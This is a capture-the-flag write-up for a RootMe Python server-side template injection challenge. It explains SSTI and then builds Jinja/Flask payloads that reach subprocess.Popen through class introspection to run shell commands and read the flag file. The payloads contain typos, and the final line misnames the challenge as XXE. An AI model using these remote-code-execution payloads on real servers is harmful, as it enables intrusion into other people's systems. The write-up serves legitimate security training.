Python — SSTI | RootMe Web Challenge

Anas Ibrahim
3 min readMar 13, 2024



Hi everyone, in this write-up I’ll explain the solution to the Python — Server-side Template Injection Introduction challenge hosted on It was an easy one to get the flag.

Challenge Link:

The first thing we should know is what SSTI vulnerability is?

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side, template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server.

Challenge Solution

When I started the challenge, I encountered two user inputs (title, content) and a button labeled ‘Render Your Page’. Since the challenge specified Python, I assumed the template might be Flask. I injected a Flask mathematical operation to detect which one was vulnerable.

figure 1

After clicking the button, I found that the content was vulnerable because it executed the math operation and returned 64.

figure 2

So I opened Burp Suite to experiment with requests, and I walked through the Remote Code Execution (RCE) steps step by step to understand it easily. I created my own payload. Firstly, when I injected {{‘abc’}}, it printed abc, and when I injected {{'abc'.__class__}}, it returned <class ‘str'>.

figure 3

Now, I want to discover all existing classes. So, I injected {{’’.__class__.__mro__[1].__subclasses__()}}, which returned all the classes separated by commas. I want to search for the number of subprocess.Popen class to execute a command through it.

I pasted the classes into an empty file and used this command to return each class on a single line, enabling me to determine the line number of subprocess class: cat classes | tr ',' '\n' > updated_classes.txt.

figure 4

I used the nl command to obtain each line number in the updated_classes.txt file updated by the nl command, and I found that the number of `suprocess` class is 409 when using grep "subprocess.Popen".

figure 5

When I attempted to check the class associated with this number, the server returned <class 'uuid.UUID'>. So, I decremented a number and successfully obtained the value 408. Now, I can utilize the subprocess class number 408to invoke it for executing commands: {{''.__class__.__mro__[1]__subclasses__()[408]('ls -a', shell=True, stdour=-1).communicate()}}.

figure 6

Then I found the flag in the .passwdfile and used this payload to read the flag: {{''.__class__.__mro__[1]__subclasses__()[408]('cat .passwd', shell=True, stdour=-1).communicate()}} .

figure 7

Finally, I have completed the write-up detailing the solution to the XXE web security challenge on the RootMe platform. I hope you find it enjoyable.

The End